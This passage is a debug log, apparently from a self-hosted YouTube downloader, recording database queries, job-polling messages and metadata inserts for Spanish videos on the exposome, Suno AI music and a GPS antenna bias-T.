¡Cómo el Ambiente y Tú Te Impactan!", "8b99c813-4010-4ee6-a5d0-8ab96463c67e", 49, false, "pf6_lgq640s", "https://www.youtube.com/shorts/pf6_lgq640s", 13, "/downloads/music/IA mí QUÉ/¿El Exposoma Secreto? ¡Cómo el Ambiente y Tú Te Impactan!.m4a", false, false, true, 2, [], 94, ~U[2025-05-21 11:03:41Z], ~U[2026-02-07 21:54:47Z], ~U[2026-02-07 21:54:47Z], "PARTE 5: EXPOSOMA: Descubre el 'exposoma general': factores ambientales compartidos que nos afectan a todos. Exploramos el aire que respiramos, el ruido que oímos y el estrés cotidiano. ¡Entiende cómo el 'exposoma global' y tus decisiones personales impactan tu salud! #exposoma #saludambiental #bienestar #ExposomaGeneral #SaludAmbiental #Bienestar #Estrés #MedioAmbiente #HabitosSaludables #ExposomaGlobal #DecisionesPersonales #CalidadDeVida #FactoresAmbientales", "¿El Exposoma Secreto? ¡Cómo el Ambiente y Tú Te Impactan!", 49, false, "pf6_lgq640s", "https://www.youtube.com/shorts/pf6_lgq640s", "/downloads/music/IA mí QUÉ/¿El Exposoma Secreto? ¡Cómo el Ambiente y Tú Te Impactan!.m4a", true, 2, ~U[2025-05-21 11:03:41Z]] 22:54:47.702 [debug] QUERY OK source="sources" db=0.5ms queue=0.2ms idle=920.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:54:47.703 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=6.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:54:47.704 [debug] QUERY OK source="media_items" db=0.5ms idle=4.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1388] 22:54:47.704 [debug] Current batch of media processed. Will check again in 1000ms 22:54:47.775 [debug] Current batch of media processed. Will check again in 1000ms 22:54:48.704 [debug] Current batch of media processed. Will check again in 1000ms 22:54:48.776 [debug] Current batch of media processed. Will check again in 1000ms 22:54:49.705 [debug] Current batch of media processed. Will check again in 1000ms 22:54:49.777 [debug] Current batch of media processed. Will check again in 1000ms 22:54:50.706 [debug] Current batch of media processed. Will check again in 1000ms 22:54:50.778 [debug] Current batch of media processed. Will check again in 1000ms 22:54:51.296 [info] {"source":"oban","duration":1220,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:54:51.707 [debug] Current batch of media processed. Will check again in 1000ms 22:54:51.779 [debug] Current batch of media processed. Will check again in 1000ms 22:54:52.708 [debug] Current batch of media processed. Will check again in 1000ms 22:54:52.780 [debug] Current batch of media processed. Will check again in 1000ms 22:54:53.709 [debug] Current batch of media processed. Will check again in 1000ms 22:54:53.781 [debug] Current batch of media processed. Will check again in 1000ms 22:54:54.710 [debug] Current batch of media processed. Will check again in 1000ms 22:54:54.782 [debug] Current batch of media processed. Will check again in 1000ms 22:54:55.711 [debug] Current batch of media processed. Will check again in 1000ms 22:54:55.783 [debug] Current batch of media processed. Will check again in 1000ms 22:54:56.712 [debug] Current batch of media processed. Will check again in 1000ms 22:54:56.784 [debug] Current batch of media processed. Will check again in 1000ms 22:54:57.713 [debug] Current batch of media processed. Will check again in 1000ms 22:54:57.785 [debug] Current batch of media processed. Will check again in 1000ms 22:54:58.714 [debug] Current batch of media processed. Will check again in 1000ms 22:54:58.786 [debug] Current batch of media processed. Will check again in 1000ms 22:54:59.715 [debug] Current batch of media processed. Will check again in 1000ms 22:54:59.787 [debug] Current batch of media processed. Will check again in 1000ms 22:55:00.137 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:55:00.716 [debug] Current batch of media processed. Will check again in 1000ms 22:55:00.788 [debug] Current batch of media processed. Will check again in 1000ms 22:55:01.717 [debug] Current batch of media processed. Will check again in 1000ms 22:55:01.789 [debug] Current batch of media processed. Will check again in 1000ms 22:55:02.718 [debug] Current batch of media processed. Will check again in 1000ms 22:55:02.790 [debug] Current batch of media processed. Will check again in 1000ms 22:55:03.719 [debug] Current batch of media processed. Will check again in 1000ms 22:55:03.791 [debug] Current batch of media processed. Will check again in 1000ms 22:55:04.720 [debug] Current batch of media processed. Will check again in 1000ms 22:55:04.792 [debug] Current batch of media processed. Will check again in 1000ms 22:55:05.721 [debug] Current batch of media processed. Will check again in 1000ms 22:55:05.793 [debug] Current batch of media processed. Will check again in 1000ms 22:55:06.722 [debug] Current batch of media processed. Will check again in 1000ms 22:55:06.794 [debug] Current batch of media processed. Will check again in 1000ms 22:55:07.723 [debug] Current batch of media processed. Will check again in 1000ms 22:55:07.795 [debug] Current batch of media processed. Will check again in 1000ms 22:55:08.724 [debug] Current batch of media processed. Will check again in 1000ms 22:55:08.796 [debug] Current batch of media processed. Will check again in 1000ms 22:55:09.725 [debug] Current batch of media processed. Will check again in 1000ms 22:55:09.797 [debug] Current batch of media processed. Will check again in 1000ms 22:55:10.726 [debug] Current batch of media processed. Will check again in 1000ms 22:55:10.798 [debug] Current batch of media processed. Will check again in 1000ms 22:55:11.727 [debug] Current batch of media processed. Will check again in 1000ms 22:55:11.799 [debug] Current batch of media processed. Will check again in 1000ms 22:55:12.728 [debug] Current batch of media processed. Will check again in 1000ms 22:55:12.800 [debug] Current batch of media processed. Will check again in 1000ms 22:55:13.729 [debug] Current batch of media processed. Will check again in 1000ms 22:55:13.801 [debug] Current batch of media processed. Will check again in 1000ms 22:55:14.730 [debug] Current batch of media processed. Will check again in 1000ms 22:55:14.802 [debug] Current batch of media processed. Will check again in 1000ms 22:55:15.731 [debug] Current batch of media processed. Will check again in 1000ms 22:55:15.803 [debug] Current batch of media processed. Will check again in 1000ms 22:55:16.732 [debug] Current batch of media processed. Will check again in 1000ms 22:55:16.804 [debug] Current batch of media processed. Will check again in 1000ms 22:55:17.733 [debug] Current batch of media processed. Will check again in 1000ms 22:55:17.805 [debug] Current batch of media processed. Will check again in 1000ms 22:55:18.734 [debug] Current batch of media processed. Will check again in 1000ms 22:55:18.806 [debug] Current batch of media processed. Will check again in 1000ms 22:55:19.735 [debug] Current batch of media processed. Will check again in 1000ms 22:55:19.807 [debug] Current batch of media processed. Will check again in 1000ms 22:55:20.736 [debug] Current batch of media processed. Will check again in 1000ms 22:55:20.808 [debug] Current batch of media processed. Will check again in 1000ms 22:55:21.298 [info] {"source":"oban","duration":897,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:55:21.737 [debug] Current batch of media processed. Will check again in 1000ms 22:55:21.809 [debug] Current batch of media processed. Will check again in 1000ms 22:55:22.738 [debug] Current batch of media processed. Will check again in 1000ms 22:55:22.810 [debug] Current batch of media processed. Will check again in 1000ms 22:55:23.739 [debug] Current batch of media processed. Will check again in 1000ms 22:55:23.811 [debug] Current batch of media processed. Will check again in 1000ms 22:55:24.740 [debug] Current batch of media processed. Will check again in 1000ms 22:55:24.812 [debug] Current batch of media processed. Will check again in 1000ms 22:55:25.741 [debug] Current batch of media processed. Will check again in 1000ms 22:55:25.813 [debug] Current batch of media processed. Will check again in 1000ms 22:55:26.742 [debug] Current batch of media processed. Will check again in 1000ms 22:55:26.814 [debug] Current batch of media processed. Will check again in 1000ms 22:55:27.743 [debug] Current batch of media processed. Will check again in 1000ms 22:55:27.815 [debug] Current batch of media processed. Will check again in 1000ms 22:55:28.744 [debug] Current batch of media processed. Will check again in 1000ms 22:55:28.816 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "En este video vemos como construir un pequeño bias-T para alimentar una antena GPS Activa (o sea con un LNA interno que precisa alimentación), cuando la conectamos a un equipo sin alimentacion. El ejemplo es el Maldol DBD-25 o el Retevis RT73 que estan pensados para antenas pasivas, sin alimentación. Con este Bias-T es posible usar una antena activa y mejorar la recepción de las señales GPS.\n\nContenido del video\n\n00:00 - Inicio\n01:42 - Intro Canal\n02:00 - Esquema bias-t\n03:48 - ¿Que regulador de tensión usar?\n07:49 - Calculando el choque\n11:20 - Calculando el condensador\n15:10 - Montando prototipo\n17:55 - Conectado a la emisora: OK!\n19:13 - Conclusiones\n\n#retevis #maldol #gps #hamradio #radioaficionados #diyelectronics #dmr #aprs \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 1295, "filename" => "/downloads/music/ea3grn/112 - ADAPTANDO GPS ACTIVO A MALDOL DBD25 RETEVIS RT73 BIAS T PARA GPS.m4a", "id" => "vA5Khj3UhD8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=vA5Khj3UhD8", "playlist_index" => 69, "timestamp" => 1689263408, "title" => "112 - ADAPTANDO GPS ACTIVO A MALDOL DBD25 RETEVIS RT73 BIAS T PARA GPS", "upload_date" => "20230713"} 22:55:28.817 [debug] QUERY OK source="sources" db=0.8ms idle=950.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:55:28.818 [debug] QUERY OK source="sources" db=0.6ms idle=38.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:55:28.820 [debug] QUERY OK source="media_items" db=0.8ms idle=39.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-13 15:50:08Z], 3] 22:55:28.822 [debug] QUERY OK source="media_items" db=1.1ms idle=41.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["En este video vemos como construir un pequeño bias-T para alimentar una antena GPS Activa (o sea con un LNA interno que precisa alimentación), cuando la conectamos a un equipo sin alimentacion. El ejemplo es el Maldol DBD-25 o el Retevis RT73 que estan pensados para antenas pasivas, sin alimentación. Con este Bias-T es posible usar una antena activa y mejorar la recepción de las señales GPS.\n\nContenido del video\n\n00:00 - Inicio\n01:42 - Intro Canal\n02:00 - Esquema bias-t\n03:48 - ¿Que regulador de tensión usar?\n07:49 - Calculando el choque\n11:20 - Calculando el condensador\n15:10 - Montando prototipo\n17:55 - Conectado a la emisora: OK!\n19:13 - Conclusiones\n\n#retevis #maldol #gps #hamradio #radioaficionados #diyelectronics #dmr #aprs \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "112 - ADAPTANDO GPS ACTIVO A MALDOL DBD25 RETEVIS RT73 BIAS T PARA GPS", "f96e61f3-af82-465d-9913-5e1693686920", 1295, false, "vA5Khj3UhD8", "https://www.youtube.com/watch?v=vA5Khj3UhD8", 69, "/downloads/music/ea3grn/112 - ADAPTANDO GPS ACTIVO A MALDOL DBD25 RETEVIS RT73 BIAS T PARA GPS.m4a", false, false, false, 3, [], 98, ~U[2023-07-13 15:50:08Z], ~U[2026-02-07 21:55:28Z], ~U[2026-02-07 21:55:28Z], "En este video vemos como construir un pequeño bias-T para alimentar una antena GPS Activa (o sea con un LNA interno que precisa alimentación), cuando la conectamos a un equipo sin alimentacion. El ejemplo es el Maldol DBD-25 o el Retevis RT73 que estan pensados para antenas pasivas, sin alimentación. Con este Bias-T es posible usar una antena activa y mejorar la recepción de las señales GPS.\n\nContenido del video\n\n00:00 - Inicio\n01:42 - Intro Canal\n02:00 - Esquema bias-t\n03:48 - ¿Que regulador de tensión usar?\n07:49 - Calculando el choque\n11:20 - Calculando el condensador\n15:10 - Montando prototipo\n17:55 - Conectado a la emisora: OK!\n19:13 - Conclusiones\n\n#retevis #maldol #gps #hamradio #radioaficionados #diyelectronics #dmr #aprs \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "112 - ADAPTANDO GPS ACTIVO A MALDOL DBD25 RETEVIS RT73 BIAS T PARA GPS", 1295, false, "vA5Khj3UhD8", "https://www.youtube.com/watch?v=vA5Khj3UhD8", "/downloads/music/ea3grn/112 - ADAPTANDO GPS ACTIVO A MALDOL DBD25 RETEVIS RT73 BIAS T PARA GPS.m4a", false, 3, ~U[2023-07-13 15:50:08Z]] 22:55:28.822 [debug] QUERY OK source="sources" db=0.5ms idle=42.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:55:28.823 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:55:28.824 [debug] QUERY OK source="media_items" db=0.4ms idle=4.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1440] 22:55:28.824 [debug] Current batch of media processed. Will check again in 1000ms 22:55:29.745 [debug] Current batch of media processed. Will check again in 1000ms 22:55:29.825 [debug] Current batch of media processed. Will check again in 1000ms 22:55:30.746 [debug] Current batch of media processed. Will check again in 1000ms 22:55:30.826 [debug] Current batch of media processed. Will check again in 1000ms 22:55:31.747 [debug] Current batch of media processed. Will check again in 1000ms 22:55:31.827 [debug] Current batch of media processed. Will check again in 1000ms 22:55:32.748 [debug] Current batch of media processed. Will check again in 1000ms 22:55:32.828 [debug] Current batch of media processed. Will check again in 1000ms 22:55:33.749 [debug] Current batch of media processed. Will check again in 1000ms 22:55:33.829 [debug] Current batch of media processed. Will check again in 1000ms 22:55:34.750 [debug] Current batch of media processed. Will check again in 1000ms 22:55:34.830 [debug] Current batch of media processed. Will check again in 1000ms 22:55:35.751 [debug] Current batch of media processed. Will check again in 1000ms 22:55:35.831 [debug] Current batch of media processed. Will check again in 1000ms 22:55:36.752 [debug] Current batch of media processed. Will check again in 1000ms 22:55:36.832 [debug] Current batch of media processed. Will check again in 1000ms 22:55:37.753 [debug] Current batch of media processed. Will check again in 1000ms 22:55:37.833 [debug] Current batch of media processed. Will check again in 1000ms 22:55:38.754 [debug] Current batch of media processed. Will check again in 1000ms 22:55:38.834 [debug] Current batch of media processed. Will check again in 1000ms 22:55:39.755 [debug] Current batch of media processed. Will check again in 1000ms 22:55:39.835 [debug] Current batch of media processed. Will check again in 1000ms 22:55:40.756 [debug] Current batch of media processed. Will check again in 1000ms 22:55:40.836 [debug] Current batch of media processed. Will check again in 1000ms 22:55:41.757 [debug] Current batch of media processed. Will check again in 1000ms 22:55:41.841 [debug] Current batch of media processed. Will check again in 1000ms 22:55:42.758 [debug] Current batch of media processed. Will check again in 1000ms 22:55:42.842 [debug] Current batch of media processed. Will check again in 1000ms 22:55:43.759 [debug] Current batch of media processed. Will check again in 1000ms 22:55:43.843 [debug] Current batch of media processed. Will check again in 1000ms 22:55:44.760 [debug] Current batch of media processed. Will check again in 1000ms 22:55:44.844 [debug] Current batch of media processed. Will check again in 1000ms 22:55:45.761 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "PARTE 10: TEXTO A AUDIO 2.0: Descubre Suno, la IA que revoluciona la creación musical. Crea canciones navideñas personalizadas, música original para videos y podcasts. ¡Explora los recursos de audio con IA y transforma tu contenido! #SunoAI #MúsicaConIA #CancionesNavideñas #AudioProfesional #IAparaCreadores #SunoAI #MúsicaConIA #CancionesNavideñas #AudioProfesional #IAparaCreadores #MúsicaOriginal #PodcastConIA #TecnologíaMusical #CreaciónDeContenido #InteligenciaArtificial", "duration" => 38, "filename" => "/downloads/music/IA mí QUÉ/¿Música IA Viral? ¡Crea Éxitos Navideños y Más con Suno!.m4a", "id" => "RxHq_9l2WZ8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/RxHq_9l2WZ8", "playlist_index" => 14, "timestamp" => 1747817972, "title" => "¿Música IA Viral? ¡Crea Éxitos Navideños y Más con Suno!", "upload_date" => "20250521"} 22:55:45.762 [debug] QUERY OK source="sources" db=0.6ms idle=982.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:55:45.763 [debug] QUERY OK source="sources" db=0.5ms idle=983.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:55:45.764 [debug] QUERY OK source="media_items" db=0.7ms idle=983.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-21 08:59:32Z], 2] 22:55:45.765 [debug] QUERY OK source="media_items" db=1.0ms idle=984.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["PARTE 10: TEXTO A AUDIO 2.0: Descubre Suno, la IA que revoluciona la creación musical. Crea canciones navideñas personalizadas, música original para videos y podcasts. ¡Explora los recursos de audio con IA y transforma tu contenido! #SunoAI #MúsicaConIA #CancionesNavideñas #AudioProfesional #IAparaCreadores #SunoAI #MúsicaConIA #CancionesNavideñas #AudioProfesional #IAparaCreadores #MúsicaOriginal #PodcastConIA #TecnologíaMusical #CreaciónDeContenido #InteligenciaArtificial", "¿Música IA Viral? ¡Crea Éxitos Navideños y Más con Suno!", "92d49731-202f-42f6-b746-c6e378d942c2", 38, false, "RxHq_9l2WZ8", "https://www.youtube.com/shorts/RxHq_9l2WZ8", 14, "/downloads/music/IA mí QUÉ/¿Música IA Viral? ¡Crea Éxitos Navideños y Más con Suno!.m4a", false, false, true, 2, [], 94, ~U[2025-05-21 08:59:32Z], ~U[2026-02-07 21:55:45Z], ~U[2026-02-07 21:55:45Z], "PARTE 10: TEXTO A AUDIO 2.0: Descubre Suno, la IA que revoluciona la creación musical. Crea canciones navideñas personalizadas, música original para videos y podcasts. ¡Explora los recursos de audio con IA y transforma tu contenido! #SunoAI #MúsicaConIA #CancionesNavideñas #AudioProfesional #IAparaCreadores #SunoAI #MúsicaConIA #CancionesNavideñas #AudioProfesional #IAparaCreadores #MúsicaOriginal #PodcastConIA #TecnologíaMusical #CreaciónDeContenido #InteligenciaArtificial", "¿Música IA Viral? ¡Crea Éxitos Navideños y Más con Suno!", 38, false, "RxHq_9l2WZ8", "https://www.youtube.com/shorts/RxHq_9l2WZ8", "/downloads/music/IA mí QUÉ/¿Música IA Viral? ¡Crea Éxitos Navideños y Más con Suno!.m4a", true, 2, ~U[2025-05-21 08:59:32Z]] 22:55:45.766 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=869.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:55:45.767 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:55:45.768 [debug] QUERY OK source="media_items" db=0.5ms idle=4.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1390] 22:55:45.768 [debug] Current batch of media processed. Will check again in 1000ms 22:55:45.845 [debug] Current batch of media processed. Will check again in 1000ms 22:55:46.768 [debug] Current batch of media processed. Will check again in 1000ms 22:55:46.846 [debug] Current batch of media processed. Will check again in 1000ms 22:55:47.769 [debug] Current batch of media processed. Will check again in 1000ms 22:55:47.847 [debug] Current batch of media processed. Will check again in 1000ms 22:55:48.770 [debug] Current batch of media processed. Will check again in 1000ms 22:55:48.848 [debug] Current batch of media processed. Will check again in 1000ms 22:55:49.771 [debug] Current batch of media processed. Will check again in 1000ms 22:55:49.849 [debug] Current batch of media processed. Will check again in 1000ms 22:55:50.772 [debug] Current batch of media processed. Will check again in 1000ms 22:55:50.850 [debug] Current batch of media processed. Will check again in 1000ms 22:55:51.300 [info] {"source":"oban","duration":900,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:55:51.773 [debug] Current batch of media processed. Will check again in 1000ms 22:55:51.851 [debug] Current batch of media processed. Will check again in 1000ms 22:55:52.774 [debug] Current batch of media processed. Will check again in 1000ms 22:55:52.852 [debug] Current batch of media processed. Will check again in 1000ms 22:55:53.775 [debug] Current batch of media processed. Will check again in 1000ms 22:55:53.853 [debug] Current batch of media processed. Will check again in 1000ms 22:55:54.776 [debug] Current batch of media processed. Will check again in 1000ms 22:55:54.854 [debug] Current batch of media processed. Will check again in 1000ms 22:55:55.777 [debug] Current batch of media processed. Will check again in 1000ms 22:55:55.855 [debug] Current batch of media processed. Will check again in 1000ms 